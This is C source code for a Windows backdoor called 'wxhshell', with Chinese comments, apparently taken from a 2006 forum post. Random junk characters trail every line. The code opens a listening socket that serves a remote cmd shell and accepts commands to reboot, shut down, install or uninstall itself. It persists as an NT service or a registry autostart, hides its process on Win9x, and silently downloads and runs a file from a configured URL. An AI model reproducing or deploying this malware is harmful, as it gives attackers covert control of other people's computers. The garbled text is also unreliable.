    switch(cmd[0]) { y}HC\A77uD  
  KgWT&^t  
  // 帮助 p ri{vveN@  
  case '?': { =3C)sz}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  Zwns|23n  
    break; r![JPhei  
  } n^02@Aw  
  // 安装 - (}1o9e\7  
  case 'i': { n;`L5  
    if(Install()) p'k+0=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QJM!Wx+  
    else S\;.nAR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u g"<\"  
    break; p\;)^O4  
    } 3og$'#6P  
  // 卸载 S5KYZ W  
  case 'r': { _l=  
    if(Uninstall()) UiZp -Y%ki  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i(iP}: 3  
    else HbfB[%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a BH1J]_  
    break; So.P @CCd  
    } /t)c fFM  
  // 显示 wxhshell 所在路径 DF|s,J`98  
  case 'p': { zn1Rou]6  
    char svExeFile[MAX_PATH]; (<ZkmIXN  
    strcpy(svExeFile,"\n\r"); \N , '+  
      strcat(svExeFile,ExeFile); s[@>uP  
        send(wsh,svExeFile,strlen(svExeFile),0); /&as)  
    break; rE `}?d  
    } '#PqI)P  
  // 重启 wKS-O%?  
  case 'b': { gam#6 s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %`1CE\f  
    if(Boot(REBOOT)) 2 RUR=%C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EvQwGt1)P  
    else { #x@lZ!Y  
    closesocket(wsh); etMh=/NFV  
    ExitThread(0); 2qMsa>~  
    } Z WRRh^  
    break; bH&)rn  
    } bTQa'y`3  
  // 关机 g+ 1=5g  
  case 'd': { /:{_|P\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~uR6z//%  
    if(Boot(SHUTDOWN)) n,a5LR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EvqAi/(g  
    else { )QCM2  
    closesocket(wsh); &_/%2qs  
    ExitThread(0); "=\_++  
    } 6eYf2sZ;J  
    break; =l2Dm  
    } uV}WSoq[  
  // 获取shell Gh[`q7B Q  
  case 's': { _OU.JrqC  
    CmdShell(wsh); ;i9<y8Dha  
    closesocket(wsh);  Vm;Q w  
    ExitThread(0); 6$fnQcpJ  
    break; + i@yZfT  
  } 5Sjr6l3Vq8  
  // 退出 sC5uA .?>9  
  case 'x': { 4!~ .6cp3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qj<{oZp&  
    CloseIt(wsh); YG 5Z8@kH  
    break;  +iH30v  
    } Jhsv2,8 {  
  // 离开 q X%vRf0  
  case 'q': { n~)HfY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rH&r6Xv[  
    closesocket(wsh); s'aV qB  
    WSACleanup(); q bZ,K@0  
    exit(1); ?(/j<,m^  
    break; mDF"&.(j  
        } u2-@?yt  
  } nz(q)"A  
  } me:|!lI7YU  
&xBK\  
  // 提示信息 BnaU)E h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,> (bt%b  
} }x?H ~QQT  
  } 1KYbL8c  
8S1P&+iKs  
  return; RHx+HBZ  
} ~i }+P71  
}xf='lE  
// shell模块句柄 nRXSW&V"m  
int CmdShell(SOCKET sock) kUg+I_j6*  
{ UGmuX:@y76  
STARTUPINFO si; :qAc= IC%  
ZeroMemory(&si,sizeof(si)); =l8!VJa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `?]rr0.}hp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ! nCjA\$  
PROCESS_INFORMATION ProcessInfo; g>!:U6K  
char cmdline[]="cmd"; 2&gd"Ak(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F8[B^alAe  
  return 0; p`ADro*  
} S?Bc~y  
lP@)   
// 自身启动模式 (~ ]g,*+  
int StartFromService(void) 5"kx}f2$  
{ )pjjW"C+  
typedef struct lHcZi  
{ WXLe,7y  
  DWORD ExitStatus; &R'w-0k_  
  DWORD PebBaseAddress; ,l$NJt   
  DWORD AffinityMask; N4a`8dS|  
  DWORD BasePriority; Z#4JA/c!  
  ULONG UniqueProcessId; r*6"'W>c6  
  ULONG InheritedFromUniqueProcessId; ;V(H7 ZM  
}   PROCESS_BASIC_INFORMATION; ){+[$@9  
aJ6#=G61l  
PROCNTQSIP NtQueryInformationProcess; s-C!uq  
cXk6e.Uz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ha|@ X p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C{UF~  
PG6[lHmi  
  HANDLE             hProcess; X(GmiH /E  
  PROCESS_BASIC_INFORMATION pbi; C#Hcv*D  
~5r=FF6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I(OAEIz  
  if(NULL == hInst ) return 0; QN_)3lm  
aJ :A%+1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7_Ba3+9jpa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (]3ERPn#y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hs"% S  
NqJ<!q)  
  if (!NtQueryInformationProcess) return 0; ptV4s=G2  
X~v4"|a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5c: '>  
  if(!hProcess) return 0; IjG5X[@  
1mJbQ#5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tS\=<T  
ZjU=~)O}H  
  CloseHandle(hProcess); X0y?<G1( a  
i>Z|6 5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lw>-7)  
if(hProcess==NULL) return 0; F8{ldzh  
M`0(!Q}  
HMODULE hMod; {q&@nm40  
char procName[255]; @J-plJ4e  
unsigned long cbNeeded; ug^om{e-  
`OKo=e~,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CN.6E<9'kK  
e7@li<3>d  
  CloseHandle(hProcess); 'FShNY5  
t|;%DA)fjw  
if(strstr(procName,"services")) return 1; // 以服务启动 j\2] M  
44|deE3Z  
  return 0; // 注册表启动 2?GXkPF2;A  
} bnijM/73  
sS, zzx<  
// 主模块 C _8j:Z&  
int StartWxhshell(LPSTR lpCmdLine) i{gDW+N  
{ ?VwK2w$&={  
  SOCKET wsl; `FUFK/7 w\  
BOOL val=TRUE; DVObrL)znL  
  int port=0; S?*^>Y-e;  
  struct sockaddr_in door; ("_Q  
!xkj30O(G  
  if(wscfg.ws_autoins) Install(); xME(B@j  
mR"uhm}q  
port=atoi(lpCmdLine); {bN Y  
6 -]>]Hr-  
if(port<=0) port=wscfg.ws_port; za,6 du6  
y0,Ft/D  
  WSADATA data; x.I][(}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kr^0% A  
G9\EZ\x!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '.pgXsC:=?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D899gGe  
  door.sin_family = AF_INET; 43KaL(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uu}'i\Q  
  door.sin_port = htons(port); 8{oZi]ob  
F4Rr26M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { );=Q] >  
closesocket(wsl); Q}=fVY  
return 1; s4 (Wp3>3i  
} $h,d? .u6w  
ZQ|5W6c  
  if(listen(wsl,2) == INVALID_SOCKET) { Zw+=ng.q?  
closesocket(wsl); 8+9\7*  
return 1; TZe+<~4*i%  
} wY/bA}%  
  Wxhshell(wsl); JlUb0{8PE  
  WSACleanup(); 8`}l\ Y  
$Jcq7E~  
return 0; yKYl@&H/%  
@9aGz6k+  
} h{I`7X  
gt'*B5F(  
// 以NT服务方式启动 47KNT7C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8+ov(B;(  
{ 22z1g(; @  
DWORD   status = 0; DacN {r"3  
  DWORD   specificError = 0xfffffff; >E, Q  
Y.7}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MZ WmlJ   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w^3|(F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?b56AE  
  serviceStatus.dwWin32ExitCode     = 0; p+$+MeBz  
  serviceStatus.dwServiceSpecificExitCode = 0; ^CUSlnB\(  
  serviceStatus.dwCheckPoint       = 0; )#a7'Ba  
  serviceStatus.dwWaitHint       = 0; }B`Ku5 M  
*,17x`1e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t ^m~  
  if (hServiceStatusHandle==0) return; >Co)2d]  
" CM ucK  
status = GetLastError(); c+8V|'4  
  if (status!=NO_ERROR) _C20 +PMO  
{ syR N4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iA9 E^  
    serviceStatus.dwCheckPoint       = 0; nWk e#{[  
    serviceStatus.dwWaitHint       = 0; ~T% Ui#Gc  
    serviceStatus.dwWin32ExitCode     = status; H;QA@tF>5  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ls1B \Aw_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _B3zRO  
    return; TKo<~?  
  } #ra*f~G  
+Juh:1H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6|5H=*)DH  
  serviceStatus.dwCheckPoint       = 0; ~q 7;8<U  
  serviceStatus.dwWaitHint       = 0; q4/909x=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UA0F):  
} a fx'  
4@h;5   
// 处理NT服务事件,比如:启动、停止 uaaf9SL?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?_%u)S*g  
{ ya.n'X14  
switch(fdwControl) xz8G}Ku  
{ FIS "Z(  
case SERVICE_CONTROL_STOP: l[oe*aYN7  
  serviceStatus.dwWin32ExitCode = 0; Lc|{aN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P 6.!3%y  
  serviceStatus.dwCheckPoint   = 0; gqfDa cDJL  
  serviceStatus.dwWaitHint     = 0; 6J\fF tB@V  
  { >La><.z~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q(Hip<6p  
  } O[FZq47  
  return; >I^9:Q  
case SERVICE_CONTROL_PAUSE: b# u8\H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Asr`Q1i   
  break; g5Hr7K m  
case SERVICE_CONTROL_CONTINUE: /OG zt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R&*@@F-dx  
  break; {n&Uf{  
case SERVICE_CONTROL_INTERROGATE: k3>YBf`fC  
  break; W:vr@e6  
}; FY4T(4#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Q=ZH=SQK  
} : y1Bt+Fp  
'1-maM\r  
// 标准应用程序主函数 =ewyQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :IZ"D40m"  
{ ,F9nDF@)  
wXbsS)#/  
// 获取操作系统版本 2.nE k  
OsIsNt=GetOsVer(); <*wM=aq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8{ gXToK  
psUE!~9,  
  // 从命令行安装 nZ E)_  
  if(strpbrk(lpCmdLine,"iI")) Install(); /8c&Axuv  
- {{[cT I  
  // 下载执行文件 X#`dWNrN  
if(wscfg.ws_downexe) { C?o6(p"b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )+EN$*H  
  WinExec(wscfg.ws_filenam,SW_HIDE); |>+uw|LtZ  
} <#*.}w~  
3{ "O,h  
if(!OsIsNt) { .3X Y&6  
// 如果时win9x,隐藏进程并且设置为注册表启动 A gWPa.'3  
HideProc(); +qy6d7^  
StartWxhshell(lpCmdLine); T$mbk3P  
} n_23EcSy  
else 8:dQ._#v  
  if(StartFromService()) 5FOqv=6S  
  // 以服务方式启动 jDX>izg;V  
  StartServiceCtrlDispatcher(DispatchTable); -[heV|$;  
else Wekqn!h  
  // 普通方式启动  #^0(  
  StartWxhshell(lpCmdLine); 5jZiJw(  
E ]f)Os$  
return 0; D(\$i.,b2  
}
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只看该作者 1 发表于: 2006-10-10
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